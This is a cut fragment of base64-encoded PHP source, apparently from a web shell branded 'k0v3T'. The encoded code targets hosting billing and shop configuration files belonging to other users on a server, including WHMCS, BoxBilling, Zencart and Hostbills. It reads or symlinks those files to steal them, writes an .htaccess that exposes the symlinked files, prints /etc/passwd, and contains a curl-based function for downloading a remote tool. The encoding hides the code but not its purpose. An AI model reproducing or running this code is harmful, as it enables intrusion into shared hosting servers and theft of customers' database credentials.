cGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvV2htL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hvc3Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9zdGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9vcmRlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2J1eS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL21hbmFnZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmlsbC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQWNjb3VudC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvVXNlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQ2xpZW50cy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL015L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveGJpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3gvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50cy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50cy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIKKTsgIAoKZm9yZWFjaCgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsKICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7CiRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsKaWYoJGFtYmlsX2NvbmZpZyA9PSAnJykgewp9IGVsc2UgewokZmlsZV9jb25maWcgPSBmb3BlbigiazB2M1RfY29uZmlnZ3JhYi8kdXNlcl9rMHYzVC0kbmFtYV9jb25maWcudHh0IiwidyIpOwpmcHV0cygkZmlsZV9jb25maWcsJGFtYmlsX2NvbmZpZyk7Cn0KfQppZigkX1BPU1RbJ2NvbmZpZyddID09ICdzeW1saW5rJykgewpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7Cn0KaWYoJF9QT1NUWydjb25maWcnXSA9PSAnNDA0Jykgewokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOwppZigkc3ltNDA0KXsKICAgIEBta2RpcigiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dDQwNCIsIDA3NzcpOwogICAgJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtCkhlYWRlck5hbWUgazB2M1QudHh0ClNhdGlzZnkgQW55CkluZGV4T3B0aW9ucyBJZ25vcmVDYXNlIEZhbmN5SW5kZXhpbmcgRm9sZGVyc0ZpcnN0IE5hbWVXaWR0aD0qIERlc2NyaXB0aW9uV2lkdGg9KiBTdXBwcmVzc0hUTUxQcmVhbWJsZQpJbmRleElnbm9yZSAqIjsKCkBmaWxlX3B1dF9jb250ZW50cygiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dDQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7CgpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOwoKICAgIH0KCn0KCiAgICAgICAgICAgICAgICAgICAgfSAgICAgCiAgICAgICAgfSAgaWYoJF9QT1NUWydjb25maWcnXSA9PSAnZ3JhYicpIHsKICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YSBocmVmPSc/cGF0aD0kcGF0aC9rMHYzVF9jb25maWdncmFiJz48Zm9udCBjb2xvcj1saW1lPkRvbmU8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydjb25maWcnXSA9PSAnNDA0JykgewogICAgICAgIGVjaG8gIjxjZW50ZXI+CjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPgo8YnI+PGEgaHJlZj1cImswdjNUX3N5bTQwNC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOwogICAgfQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7CmVjaG8gIjxjZW50ZXI+CjxhIGhyZWY9XCJrMHYzVF9zeW1jb25maWcvcm9vdC9cIj5TeW1saW5rbnlhPC9hPgo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOwogICAgICAgICAgICB9aWYoJF9QT1NUWydjb25maWcnXSA9PSAnc3ltdmhvc3QnKSB7CmVjaG8gIjxjZW50ZXI+CjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPgo8YnI+PGEgaHJlZj1cImswdjNUX3N5bXZob3N0L1wiPkNvbmZpZ3VyYXRpb25zPC9hPjwvY2VudGVyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAKICAgICAgICAKICAgICAgICB9ZWxzZXsKICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4KICAgICAgICA8L2NlbnRlcj48L3NlbGVjdD48YnI+PHRleHRhcmVhIG5hbWU9XCJwYXNzd2RcIiBjbGFzcz0nYXJlYScgcm93cz0nMTUnIGNvbHM9JzYwJz5cbiI7CiAgICAgICAgZWNobyBpbmNsdWRlKCIvZXRjL3Bhc3N3ZCIpOyAKICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+CiAgICAgICAgPHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJjb25maWdcIiAgc3R5bGU9XCJ3aWR0aDogNDUwcHg7XCIgaGVpZ2h0PVwiMTBcIj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZ3JhYlwiPkNvbmZpZyBHcmFiPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCI0MDRcIj5Db25maWcgNDA0PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bXZob3N0c1wiPlZob3N0cyBDb25maWcgR3JhYmJlcjwvb3B0aW9uPjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlN0YXJ0ISFcIj48L3RkPjwvdHI+PC9jZW50ZXI+XG4iOwp9CgojQURNSU5FUgp9IGVsc2VpZigkX0dFVFsnYSddID09ICdhZG1pbmVyJykgewogICAgJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7CiAgICBmdW5jdGlvbiBhZG1pbmVyKCR1cmwsICRpc2kpIHsKICAgICAgICAkZnAgPSBmb3BlbigkaXNpLCAidyIpOwogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKICAgICAgICByZXR1cm4gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgIG9iX2ZsdXNoKCk7CiAgICAgICAgZmx1c2goKTsKICAgIH0KICAgIGlm